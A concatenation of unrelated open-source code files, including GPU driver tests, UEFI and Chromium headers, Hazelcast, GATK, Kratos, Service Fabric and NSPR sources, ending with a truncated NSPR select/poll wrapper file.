TEST_F(ImplicitScalingTests, givenForceDisableWhenCheckingCrossTileAtomicSyncThenExpectFalse) {
DebugManager.flags.UseCrossAtomicSynchronization.set(0);
EXPECT_FALSE(ImplicitScalingHelper::isCrossTileAtomicRequired());
}
TEST_F(ImplicitScalingTests, givenForceEnableWhenCheckingCrossTileAtomicSyncThenExpectTrue) {
DebugManager.flags.UseCrossAtomicSynchronization.set(1);
EXPECT_TRUE(ImplicitScalingHelper::isCrossTileAtomicRequired());
}
| 2,042 |
3,358 | /* This file is automatically generated; do not edit. */
/* Add the files to be included into Makefile.am instead. */
#include <ql/models/shortrate/onefactormodel.hpp>
#include <ql/models/shortrate/twofactormodel.hpp>
#include <ql/models/shortrate/calibrationhelpers/all.hpp>
#include <ql/models/shortrate/onefactormodels/all.hpp>
#include <ql/models/shortrate/twofactormodels/all.hpp>
| 143 |
521 | /** @file
S3 SMM Save State Protocol as defined in PI1.2 Specification VOLUME 5 Standard.
The EFI_S3_SMM_SAVE_STATE_PROTOCOL publishes the PI SMMboot script abstractions
On an S3 resume boot path the data stored via this protocol is replayed in the order it was stored.
The order of replay is the order either of the S3 Save State Protocol or S3 SMM Save State Protocol
Write() functions were called during the boot process. Insert(), Label(), and
Compare() operations are ordered relative other S3 SMM Save State Protocol write() operations
and the order relative to S3 State Save Write() operations is not defined. Due to these ordering
restrictions it is recommended that the S3 State Save Protocol be used during the DXE phase when
every possible.
The EFI_S3_SMM_SAVE_STATE_PROTOCOL can be called at runtime and
EFI_OUT_OF_RESOURCES may be returned from a runtime call. It is the responsibility of the
platform to ensure enough memory resource exists to save the system state. It is recommended that
runtime calls be minimized by the caller.
Copyright (c) 2009, Intel Corporation. All rights reserved.<BR>
This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution. The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
@par Revision Reference:
This PPI is defined in UEFI Platform Initialization Specification 1.2 Volume 5:
Standards
**/
#ifndef __S3_SMM_SAVE_STATE_H__
#define __S3_SMM_SAVE_STATE_H__
#include <Protocol/S3SaveState.h>
#define EFI_S3_SMM_SAVE_STATE_PROTOCOL_GUID \
{0x320afe62, 0xe593, 0x49cb, { 0xa9, 0xf1, 0xd4, 0xc2, 0xf4, 0xaf, 0x1, 0x4c }}
typedef EFI_S3_SAVE_STATE_PROTOCOL EFI_S3_SMM_SAVE_STATE_PROTOCOL;
extern EFI_GUID gEfiS3SmmSaveStateProtocolGuid;
#endif // __S3_SMM_SAVE_STATE_H__
| 648 |
1,564 | <reponame>caicym/logcabin<filename>Core/Buffer.cc
/* Copyright (c) 2012 Stanford University
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR(S) DISCLAIM ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL AUTHORS BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "Core/Buffer.h"
namespace LogCabin {
namespace Core {
Buffer::Buffer()
: data(NULL)
, length(0)
, deleter(NULL)
{
}
Buffer::Buffer(void* data, uint64_t length, Deleter deleter)
: data(data)
, length(length)
, deleter(deleter)
{
}
Buffer::Buffer(Buffer&& other)
: data(other.data)
, length(other.length)
, deleter(other.deleter)
{
other.data = NULL; // Not strictly necessary, but may help
other.length = 0; // catch bugs in caller code.
other.deleter = NULL;
}
Buffer::~Buffer()
{
if (deleter != NULL)
(*deleter)(data);
}
Buffer&
Buffer::operator=(Buffer&& other)
{
if (deleter != NULL)
(*deleter)(data);
data = other.data;
length = other.length;
deleter = other.deleter;
other.data = NULL; // Not strictly necessary, but may help
other.length = 0; // catch bugs in caller code.
other.deleter = NULL;
return *this;
}
void
Buffer::setData(void* data, uint64_t length, Deleter deleter)
{
if (this->deleter != NULL)
(*this->deleter)(this->data);
this->data = data;
this->length = length;
this->deleter = deleter;
}
void
Buffer::reset()
{
if (deleter != NULL)
(*deleter)(data);
data = NULL;
length = 0;
deleter = NULL;
}
} // namespace LogCabin::Core
} // namespace LogCabin
| 795 |
14,668 | <gh_stars>1000+
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef ASH_QUICK_PAIR_FEATURE_STATUS_TRACKER_MOCK_SCREEN_STATE_ENABLED_PROVIDER_H_
#define ASH_QUICK_PAIR_FEATURE_STATUS_TRACKER_MOCK_SCREEN_STATE_ENABLED_PROVIDER_H_
#include "ash/quick_pair/feature_status_tracker/screen_state_enabled_provider.h"
#include "testing/gmock/include/gmock/gmock.h"
namespace ash {
namespace quick_pair {
class MockScreenStateEnabledProvider : public ScreenStateEnabledProvider {
public:
MockScreenStateEnabledProvider();
MockScreenStateEnabledProvider(const MockScreenStateEnabledProvider&) =
delete;
MockScreenStateEnabledProvider& operator=(
const MockScreenStateEnabledProvider&) = delete;
~MockScreenStateEnabledProvider() override;
MOCK_METHOD(bool, is_enabled, (), (override));
};
} // namespace quick_pair
} // namespace ash
#endif // ASH_QUICK_PAIR_FEATURE_STATUS_TRACKER_MOCK_SCREEN_STATE_ENABLED_PROVIDER_H_ | 360 |
4,283 | /*
* Copyright (c) 2008-2021, Hazelcast, Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.hazelcast.jet.datamodel;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Objects;
import java.util.Set;
/**
* A heterogeneous map from {@code Tag<E>} to {@code E}, where {@code E}
* can be different for each tag. The value associated with a tag may be
* {@code null}.
* <p>
* This is a less type-safe, but more flexible alternative to a tuple. The
* tuple has a fixed number of integer-indexed, statically-typed fields,
* and {@code ItemsByTag} has a variable number of tag-indexed fields whose
* whose static type is encoded in the tags.
*
* @since Jet 3.0
*/
public final class ItemsByTag {
private static final Object NONE = new Object();
private final Map<Tag<?>, Object> map = new HashMap<>();
/**
* Accepts an argument list of alternating tags and values, interprets
* them as a list of tag-value pairs, and returns an {@code ItemsByTag}
* populated with these pairs.
*/
@Nonnull
@SuppressWarnings({ "unchecked", "rawtypes" })
public static ItemsByTag itemsByTag(@Nonnull Object... tagsAndVals) {
ItemsByTag ibt = new ItemsByTag();
for (int i = 0; i < tagsAndVals.length;) {
ibt.put((Tag) tagsAndVals[i++], tagsAndVals[i++]);
}
return ibt;
}
/**
* Retrieves the value associated with the supplied tag and throws an
* exception if there is none. The tag argument must not be {@code null},
* but the returned value may be, if a {@code null} value is explicitly
* associated with a tag.
*
* @throws IllegalArgumentException if there is no value associated with the supplied tag
*/
@Nullable
@SuppressWarnings("unchecked")
public <E> E get(@Nonnull Tag<E> tag) {
Object got = map.getOrDefault(tag, NONE);
if (got == NONE) {
throw new IllegalArgumentException("No value associated with " + tag);
}
return (E) got;
}
/**
* Associates the supplied value with the supplied tag. The tag must not be
* {@code null}, but the value may be, and in that case the tag will be
* associated with a {@code null} value.
*/
public <E> void put(@Nonnull Tag<E> tag, @Nullable E value) {
map.put(tag, value);
}
@Override
public boolean equals(Object o) {
return o instanceof ItemsByTag
&& Objects.equals(this.map, ((ItemsByTag) o).map);
}
@Override
public int hashCode() {
return Objects.hashCode(map);
}
@Override
public String toString() {
return "ItemsByTag" + map;
}
// For the Hazelcast serializer hook
@Nonnull
Set<Entry<Tag<?>, Object>> entrySet() {
return map.entrySet();
}
}
| 1,231 |
777 | /*
* Copyright © 2015 <NAME> (<EMAIL>)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package guru.nidi.graphviz.model;
import java.util.Optional;
import java.util.stream.Stream;
public enum Compass {
NORTH("n"), NORTH_EAST("ne"), EAST("e"), SOUTH_EAST("se"),
SOUTH("s"), SOUTH_WEST("sw"), WEST("w"), NORTH_WEST("nw"),
CENTER("c");
final String value;
Compass(String value) {
this.value = value;
}
public static Optional<Compass> of(String value) {
return Stream.of(values()).filter(c -> c.value.equals(value)).findFirst();
}
}
| 359 |
778 | <filename>applications/StructuralMechanicsApplication/custom_processes/solid_shell_thickness_compute_process.cpp
// KRATOS ___| | | |
// \___ \ __| __| | | __| __| | | __| _` | |
// | | | | | ( | | | | ( | |
// _____/ \__|_| \__,_|\___|\__|\__,_|_| \__,_|_| MECHANICS
//
// License: BSD License
// license: StructuralMechanicsApplication/license.txt
//
// Main authors: <NAME>
//
// System includes
#include <unordered_map>
// External includes
// Project includes
#include "custom_processes/solid_shell_thickness_compute_process.h"
#include "structural_mechanics_application_variables.h"
#include "utilities/variable_utils.h"
namespace Kratos
{
void SolidShellThickComputeProcess::Execute()
{
KRATOS_TRY
// We set to zero the thickness
NodesArrayType& nodes_array = mrThisModelPart.Nodes();
VariableUtils().SetNonHistoricalVariable(THICKNESS, 0.0, nodes_array);
// Connectivity map
std::unordered_map<IndexType, IndexType> connectivity_map;
// Now we iterate over the elements to create a connectivity map
ElementsArrayType& elements_array = mrThisModelPart.Elements();
// #pragma omp parallel for
for(int i = 0; i < static_cast<int>(elements_array.size()); ++i){
const auto it_elem = elements_array.begin() + i;
// We get the condition geometry
GeometryType& r_this_geometry = it_elem->GetGeometry();
if (r_this_geometry.GetGeometryType() == GeometryData::KratosGeometryType::Kratos_Prism3D6) {
connectivity_map.insert({r_this_geometry[0].Id(), r_this_geometry[3].Id()});
connectivity_map.insert({r_this_geometry[1].Id(), r_this_geometry[4].Id()});
connectivity_map.insert({r_this_geometry[2].Id(), r_this_geometry[5].Id()});
} else if (r_this_geometry.GetGeometryType() == GeometryData::KratosGeometryType::Kratos_Hexahedra3D8) {
// NOTE: It will be assumed that it keeps the default connectivity of GiD, please check it or it will return whatever
// KRATOS_WARNING_ONCE("SolidShellThickComputeProcess") << "It will be assumed that it keeps the default connectivity of GiD, please check it or it will return whatever" << std::endl;
connectivity_map.insert({r_this_geometry[0].Id(), r_this_geometry[4].Id()});
connectivity_map.insert({r_this_geometry[1].Id(), r_this_geometry[5].Id()});
connectivity_map.insert({r_this_geometry[2].Id(), r_this_geometry[6].Id()});
connectivity_map.insert({r_this_geometry[3].Id(), r_this_geometry[7].Id()});
} else {
KRATOS_ERROR << "You are not using a geometry that is supposed to be a solid-shell. Check that you assigned a proper model part (just containing the solid-shells elements)" << std::endl;
}
}
// Now that the connectivity has been constructed
double distance;
for (auto& pair : connectivity_map) {
auto pnode1 = mrThisModelPart.pGetNode(pair.first);
auto pnode2 = mrThisModelPart.pGetNode(pair.second);
distance = norm_2(pnode1->Coordinates() - pnode2->Coordinates());
const double previous_thickness_1 = pnode1->GetValue(THICKNESS);
const double previous_thickness_2 = pnode2->GetValue(THICKNESS);
// We set the thickness on the firt node
if (previous_thickness_1 > 0.0) {
pnode1->SetValue(THICKNESS, (previous_thickness_1 + distance));
} else {
pnode1->SetValue(THICKNESS, distance);
}
// We set the thickness on the second node
if (previous_thickness_2 > 0.0) {
pnode2->SetValue(THICKNESS, (previous_thickness_2 + distance));
} else {
pnode2->SetValue(THICKNESS, distance);
}
}
KRATOS_CATCH("")
} // class SolidShellThickComputeProcess
} // namespace Kratos
| 1,671 |
769 | <filename>weather-console/delay.h
#define DELAY_TICK_FREQUENCY_US 1000000 /* = 1MHZ -> microseconds delay */
#define DELAY_TICK_FREQUENCY_MS 1000 /* = 1kHZ -> milliseconds delay */
static __IO uint32_t TimingDelay; // __IO -- volatile
/*
* Declare Functions
*/
extern void Delay_ms(uint32_t nTime);
extern void Delay_us(uint32_t nTime);
| 132 |
434 | <reponame>bingchunjin/1806_SDK
/*
* GainStrong Oolite/MiniBox V1.0 boards support
*
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published
* by the Free Software Foundation.
*/
#include <linux/gpio.h>
#include <asm/mach-ath79/ath79.h>
#include <asm/mach-ath79/ar71xx_regs.h>
#include "common.h"
#include "dev-eth.h"
#include "dev-gpio-buttons.h"
#include "dev-leds-gpio.h"
#include "dev-m25p80.h"
#include "dev-wmac.h"
#include "machtypes.h"
#include "dev-usb.h"
#define GS_MINIBOX_V1_GPIO_BTN_RESET 11
#define GS_MINIBOX_V1_GPIO_LED_SYSTEM 1
#define GS_OOLITE_V1_GPIO_BTN6 6
#define GS_OOLITE_V1_GPIO_BTN7 7
#define GS_OOLITE_V1_GPIO_BTN_RESET 11
#define GS_OOLITE_V1_GPIO_LED_SYSTEM 27
#define GS_KEYS_POLL_INTERVAL 20 /* msecs */
#define GS_KEYS_DEBOUNCE_INTERVAL (3 * GS_KEYS_POLL_INTERVAL)
static const char *gs_part_probes[] = {
"tp-link",
NULL,
};
static struct flash_platform_data gs_flash_data = {
.part_probes = gs_part_probes,
};
static struct gpio_led gs_minibox_v1_leds_gpio[] __initdata = {
{
.name = "minibox-v1:green:system",
.gpio = GS_MINIBOX_V1_GPIO_LED_SYSTEM,
.active_low = 1,
},
};
static struct gpio_led gs_oolite_v1_leds_gpio[] __initdata = {
{
.name = "oolite-v1:red:system",
.gpio = GS_OOLITE_V1_GPIO_LED_SYSTEM,
.active_low = 1,
},
};
static struct gpio_keys_button gs_minibox_v1_gpio_keys[] __initdata = {
{
.desc = "reset",
.type = EV_KEY,
.code = KEY_RESTART,
.debounce_interval = GS_KEYS_DEBOUNCE_INTERVAL,
.gpio = GS_MINIBOX_V1_GPIO_BTN_RESET,
.active_low = 0,
},
};
static struct gpio_keys_button gs_oolite_v1_gpio_keys[] __initdata = {
{
.desc = "reset",
.type = EV_KEY,
.code = KEY_RESTART,
.debounce_interval = GS_KEYS_DEBOUNCE_INTERVAL,
.gpio = GS_OOLITE_V1_GPIO_BTN_RESET,
.active_low = 0,
}, {
.desc = "BTN_6",
.type = EV_KEY,
.code = BTN_6,
.debounce_interval = GS_KEYS_DEBOUNCE_INTERVAL,
.gpio = GS_OOLITE_V1_GPIO_BTN6,
.active_low = 0,
}, {
.desc = "BTN_7",
.type = EV_KEY,
.code = BTN_7,
.debounce_interval = GS_KEYS_DEBOUNCE_INTERVAL,
.gpio = GS_OOLITE_V1_GPIO_BTN7,
.active_low = 0,
},
};
static void __init gs_common_setup(void)
{
u8 *art = (u8 *) KSEG1ADDR(0x1fff1000);
u8 *mac = (u8 *) KSEG1ADDR(0x1f01fc00);
ath79_register_usb();
ath79_register_m25p80(&gs_flash_data);
ath79_init_mac(ath79_eth0_data.mac_addr, mac, 1);
ath79_init_mac(ath79_eth1_data.mac_addr, mac, -1);
ath79_register_mdio(0, 0x0);
ath79_register_eth(1);
ath79_register_eth(0);
ath79_register_wmac(art, mac);
}
static void __init gs_minibox_v1_setup(void)
{
gs_common_setup();
ath79_register_leds_gpio(-1, ARRAY_SIZE(gs_minibox_v1_leds_gpio),
gs_minibox_v1_leds_gpio);
ath79_register_gpio_keys_polled(-1, GS_KEYS_POLL_INTERVAL,
ARRAY_SIZE(gs_minibox_v1_gpio_keys),
gs_minibox_v1_gpio_keys);
}
static void __init gs_oolite_v1_setup(void)
{
gs_common_setup();
ath79_register_leds_gpio(-1, ARRAY_SIZE(gs_oolite_v1_leds_gpio),
gs_oolite_v1_leds_gpio);
ath79_register_gpio_keys_polled(-1, GS_KEYS_POLL_INTERVAL,
ARRAY_SIZE(gs_oolite_v1_gpio_keys),
gs_oolite_v1_gpio_keys);
}
MIPS_MACHINE(ATH79_MACH_GS_MINIBOX_V1, "MINIBOX-V1", "GainStrong MiniBox V1.0",
gs_minibox_v1_setup);
MIPS_MACHINE(ATH79_MACH_GS_OOLITE_V1, "OOLITE-V1", "GainStrong Oolite V1.0",
gs_oolite_v1_setup);
| 1,785 |
1,702 | /*
* Copyright 2014-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.example.data.rest;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
/**
* @author <NAME>
*/
@Entity
public class Address {
@GeneratedValue @Id//
private Long id;
private String street, zipCode, city, state;
Address() {
this.street = null;
this.zipCode = null;
this.city = null;
this.state = null;
}
public Address(String street, String zipCode, String city, String state) {
this.street = street;
this.zipCode = zipCode;
this.city = city;
this.state = state;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getStreet() {
return street;
}
public String getZipCode() {
return zipCode;
}
public String getCity() {
return city;
}
public String getState() {
return state;
}
public void setStreet(String street) {
this.street = street;
}
public void setZipCode(String zipCode) {
this.zipCode = zipCode;
}
public void setCity(String city) {
this.city = city;
}
public void setState(String state) {
this.state = state;
}
/*
* (non-Javadoc)
* @see java.lang.Object#toString()
*/
public String toString() {
return String.format("%s, %s %s, %s", street, zipCode, city, state);
}
}
| 636 |
2,542 | <reponame>gridgentoo/ServiceFabricAzure
// ------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License (MIT). See License.txt in the repo root for license information.
// ------------------------------------------------------------
#pragma once
#define BEGIN_DECLARE_CLIENT_ASYNCOPERATION( Operation ) \
namespace Management \
{ \
namespace ClusterManager \
{ \
class Operation##AsyncOperation : public ClientRequestAsyncOperation \
{ \
public: \
Operation##AsyncOperation( \
__in ClusterManagerReplica & owner, \
Transport::MessageUPtr && request, \
Federation::RequestReceiverContextUPtr && requestContext, \
Common::TimeSpan const timeout, \
Common::AsyncCallback const & callback, \
Common::AsyncOperationSPtr const & parent) \
: ClientRequestAsyncOperation( \
owner, \
move(request), \
move(requestContext), \
timeout, \
callback, \
parent) \
{ \
} \
protected: \
Common::AsyncOperationSPtr BeginAcceptRequest( \
ClientRequestSPtr &&, \
Common::TimeSpan const, \
Common::AsyncCallback const &, \
Common::AsyncOperationSPtr const &) override; \
Common::ErrorCode EndAcceptRequest(Common::AsyncOperationSPtr const &) override; \
#define END_DECLARE_CLIENT_ASYNCOPERATION \
}; \
} \
} \
#define DECLARE_CLIENT_ASYNCOPERATION( Operation ) \
BEGIN_DECLARE_CLIENT_ASYNCOPERATION( Operation ) \
END_DECLARE_CLIENT_ASYNCOPERATION \
namespace Management
{
namespace ClusterManager
{
class ClusterManagerReplica;
class ClientRequestAsyncOperation
: public Common::TimedAsyncOperation
, public Store::ReplicaActivityTraceComponent<Common::TraceTaskCodes::ClusterManager>
{
public:
using Store::ReplicaActivityTraceComponent<Common::TraceTaskCodes::ClusterManager>::TraceId;
using Store::ReplicaActivityTraceComponent<Common::TraceTaskCodes::ClusterManager>::get_TraceId;
using Store::ReplicaActivityTraceComponent<Common::TraceTaskCodes::ClusterManager>::ActivityId;
using Store::ReplicaActivityTraceComponent<Common::TraceTaskCodes::ClusterManager>::get_ActivityId;
ClientRequestAsyncOperation(
__in ClusterManagerReplica &,
Transport::MessageUPtr &&,
Federation::RequestReceiverContextUPtr &&,
Common::TimeSpan const,
Common::AsyncCallback const &,
Common::AsyncOperationSPtr const &);
ClientRequestAsyncOperation(
__in ClusterManagerReplica &,
Common::ErrorCode const &,
Transport::MessageUPtr &&,
Federation::RequestReceiverContextUPtr &&,
Common::TimeSpan const,
Common::AsyncCallback const &,
Common::AsyncOperationSPtr const &);
virtual ~ClientRequestAsyncOperation();
static Common::ErrorCode End(
Common::AsyncOperationSPtr const & asyncOperation,
__out Transport::MessageUPtr & reply,
__out Federation::RequestReceiverContextUPtr & requestContext);
__declspec(property(get=get_Timeout)) Common::TimeSpan Timeout;
__declspec(property(get=get_RequestInstance)) __int64 RequestInstance;
__declspec(property(get=get_RequestMessageId)) Transport::MessageId const & RequestMessageId;
Common::TimeSpan get_Timeout() const { return this->OriginalTimeout; }
__int64 get_RequestInstance() const { return requestInstance_; }
Transport::MessageId get_RequestMessageId() const { return request_->MessageId; }
void SetReply(Transport::MessageUPtr &&);
void CompleteRequest(Common::ErrorCode const &);
bool IsLocalRetry();
static bool IsRetryable(Common::ErrorCode const &);
protected:
__declspec(property(get=get_Replica)) ClusterManagerReplica & Replica;
__declspec(property(get=get_Request)) Transport::Message & Request;
__declspec(property(get=get_RequestContext)) Federation::RequestReceiverContext const & RequestContext;
ClusterManagerReplica & get_Replica() const { return owner_; }
Transport::Message & get_Request() const { return *request_; }
Federation::RequestReceiverContext const & get_RequestContext() const { return *requestContext_; }
void OnStart(Common::AsyncOperationSPtr const &) override;
void OnTimeout(Common::AsyncOperationSPtr const &) override;
void OnCancel() override;
void OnCompleted() override;
virtual Common::AsyncOperationSPtr BeginAcceptRequest(
std::shared_ptr<ClientRequestAsyncOperation> &&,
Common::TimeSpan const,
Common::AsyncCallback const &,
Common::AsyncOperationSPtr const &);
virtual Common::ErrorCode EndAcceptRequest(Common::AsyncOperationSPtr const &);
private:
void HandleRequest(Common::AsyncOperationSPtr const &);
void OnAcceptRequestComplete(Common::AsyncOperationSPtr const &, bool expectedCompletedSynchronously);
void FinishRequest(Common::AsyncOperationSPtr const &, Common::ErrorCode const &);
void CancelRetryTimer();
static Common::ErrorCode ToGatewayError(Common::ErrorCode const &);
ClusterManagerReplica & owner_;
Common::ErrorCodeValue::Enum error_;
Transport::MessageUPtr request_;
Transport::MessageUPtr reply_;
Federation::RequestReceiverContextUPtr requestContext_;
__int64 requestInstance_;
Common::TimerSPtr retryTimer_;
Common::ExclusiveLock timerLock_;
bool isLocalRetry_;
};
typedef std::shared_ptr<ClientRequestAsyncOperation> ClientRequestSPtr;
}
}
| 2,633 |
343 | <filename>bean-searcher-demos/spring-boot-demo/src/main/java/com/example/sbean/BaseBean.java
package com.example.sbean;
public class BaseBean {
private long id;
public long getId() {
return id;
}
}
| 92 |
1,105 | #!/usr/bin/env python
# Copyright Contributors to the Open Shading Language project.
# SPDX-License-Identifier: BSD-3-Clause
# https://github.com/AcademySoftwareFoundation/OpenShadingLanguage
command += testshade("-t 1 -g 32 32 --vary_pdxdy -od uint8 -o Cout calculatenormal_u_point.tif test_calculatenormal_u_point")
command += testshade("-t 1 -g 32 32 --vary_pdxdy -od uint8 -o Cout calculatenormal_v_point.tif test_calculatenormal_v_point")
command += testshade("-t 1 -g 32 32 --vary_pdxdy -od uint8 -o Cout calculatenormal_dpoint.tif test_calculatenormal_dpoint")
outputs.append ("calculatenormal_u_point.tif")
outputs.append ("calculatenormal_v_point.tif")
outputs.append ("calculatenormal_dpoint.tif")
# expect a few LSB failures
failthresh = 0.008
failpercent = 3
| 275 |
1,273 | <reponame>sunboy0523/gatk
package org.broadinstitute.hellbender.tools.copynumber.denoising;
import org.apache.commons.math3.linear.RealMatrix;
import org.broadinstitute.hellbender.tools.copynumber.formats.collections.CopyRatioCollection;
import org.broadinstitute.hellbender.tools.copynumber.formats.metadata.SampleLocatableMetadata;
import org.broadinstitute.hellbender.tools.copynumber.formats.records.CopyRatio;
import org.broadinstitute.hellbender.utils.SimpleInterval;
import org.broadinstitute.hellbender.utils.Utils;
import java.io.File;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
* Represents copy ratios for a sample that has been standardized and denoised by an {@link SVDReadCountPanelOfNormals}.
*
* @author <NAME> <<EMAIL>>
*/
public final class SVDDenoisedCopyRatioResult {
private final CopyRatioCollection standardizedCopyRatios;
private final CopyRatioCollection denoisedCopyRatios;
public SVDDenoisedCopyRatioResult(final SampleLocatableMetadata metadata,
final List<SimpleInterval> intervals,
final RealMatrix standardizedCopyRatioValues,
final RealMatrix denoisedCopyRatioValues) {
Utils.nonNull(metadata);
Utils.nonEmpty(intervals);
Utils.nonNull(standardizedCopyRatioValues);
Utils.nonNull(denoisedCopyRatioValues);
Utils.validateArg(standardizedCopyRatioValues.getRowDimension() == 1,
"Standardized copy-ratio values must contain only a single row.");
Utils.validateArg(denoisedCopyRatioValues.getRowDimension() == 1,
"Denoised copy-ratio values must contain only a single row.");
Utils.validateArg(intervals.size() == standardizedCopyRatioValues.getColumnDimension(),
"Number of intervals and columns in standardized copy-ratio values must match.");
Utils.validateArg(intervals.size() == denoisedCopyRatioValues.getColumnDimension(),
"Number of intervals and columns in denoised copy-ratio values must match.");
this.standardizedCopyRatios = new CopyRatioCollection(
metadata,
IntStream.range(0, intervals.size())
.mapToObj(i -> new CopyRatio(intervals.get(i), standardizedCopyRatioValues.getEntry(0, i)))
.collect(Collectors.toList()));
this.denoisedCopyRatios = new CopyRatioCollection(
metadata,
IntStream.range(0, intervals.size())
.mapToObj(i -> new CopyRatio(intervals.get(i), denoisedCopyRatioValues.getEntry(0, i)))
.collect(Collectors.toList()));
}
public CopyRatioCollection getStandardizedCopyRatios() {
return standardizedCopyRatios;
}
public CopyRatioCollection getDenoisedCopyRatios() {
return denoisedCopyRatios;
}
public void write(final File standardizedCopyRatiosFile,
final File denoisedCopyRatiosFile) {
Utils.nonNull(standardizedCopyRatiosFile);
Utils.nonNull(denoisedCopyRatiosFile);
standardizedCopyRatios.write(standardizedCopyRatiosFile);
denoisedCopyRatios.write(denoisedCopyRatiosFile);
}
}
| 1,354 |
417 | <filename>vtorcs-RL-color/src/libs/learning/ann_policy.h<gh_stars>100-1000
// -*- Mode: c++ -*-
// copyright (c) 2004 by <NAME> <<EMAIL>>
// $Id: ann_policy.h,v 1.3 2005/08/05 09:02:58 berniw Exp $
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
#ifndef ANN_POLICY_H
#define ANN_POLICY_H
#include <learning/policy.h>
/**
A type of discrete action policy using a neural network for function approximation.
Constructor arguments offer the additional option
\c separate_actions. This is useful for the case of eligibility
traces. It allows to use clearing actions traces, since it uses a
separate approximator for each action, rather than a single
approximator with many outputs.
The class has essentially the same interface as DiscretePolicy. A
major difference is the fact that you must supply a \c real \em
vector that represents the state.
Note that using Q-learning with eligibility traces in this class
can result in divergence theoretically.
*/
class ANN_Policy : public DiscretePolicy
{
protected:
ANN* J; ///< Evaluation network
ANN** Ja; ///< Evaluation networks (for \c separate_actions case)
real* ps; ///< Previous state vector \deprecated
real* JQs; ///< Placeholder for evaluation vector (\c separate_actions)
real J_ps_pa; ///< Evaluation of last action
real* delta_vector; ///< Scratch vector for TD error
bool eligibility; ///< eligibility option
bool separate_actions; ///< Single/separate evaluation option
public:
/// Make a new policy
ANN_Policy (int n_states, int n_actions, int n_hidden = 0, real alpha=0.1, real gamma=0.8, real lambda=0.8, bool eligibility = false, bool softmax = false, real randomness=0.1, real init_eval=0.0, bool separate_actions = false);
virtual ~ANN_Policy();
/// Select an action, given a vector of real numbers which
/// represents the state.
virtual int SelectAction(real* s, real r, int forced_a=-1);
/// Reset eligibility traces.
virtual void Reset();
/// Return the last action value.
virtual real getLastActionValue () {return J_ps_pa;}
/// \deprecated Get the probabilities of all actions - call after SelectAction().
virtual real* getActionProbabilities () {
real sum = 0.0;
int i;
for (i=0; i<n_actions; i++) {
sum += eval[i];
}
for (i=0; i<n_actions; i++) {
eval[i] = eval[i]/sum;
}
return eval;
}
virtual bool useConfidenceEstimates(bool confidence, real zeta=0.01);
};
#endif
| 1,015 |
2,494 | /* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
/*
*------------------------------------------------------------------------
* File: uxwrap.c
*
* Our wrapped versions of the Unix select() and poll() system calls.
*
*------------------------------------------------------------------------
*/
#include "primpl.h"
#if defined(_PR_PTHREADS) || defined(_PR_GLOBAL_THREADS_ONLY) || defined(QNX)
/* Do not wrap select() and poll(). */
#else /* defined(_PR_PTHREADS) || defined(_PR_GLOBAL_THREADS_ONLY) */
/* The include files for select() */
#ifdef IRIX
#include <unistd.h>
#include <bstring.h>
#endif
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#define ZAP_SET(_to, _width) \
PR_BEGIN_MACRO \
memset(_to, 0, \
((_width + 8*sizeof(int)-1) / (8*sizeof(int))) \
* sizeof(int) \
); \
PR_END_MACRO
/* see comments in ns/cmd/xfe/mozilla.c (look for "PR_XGetXtHackFD") */
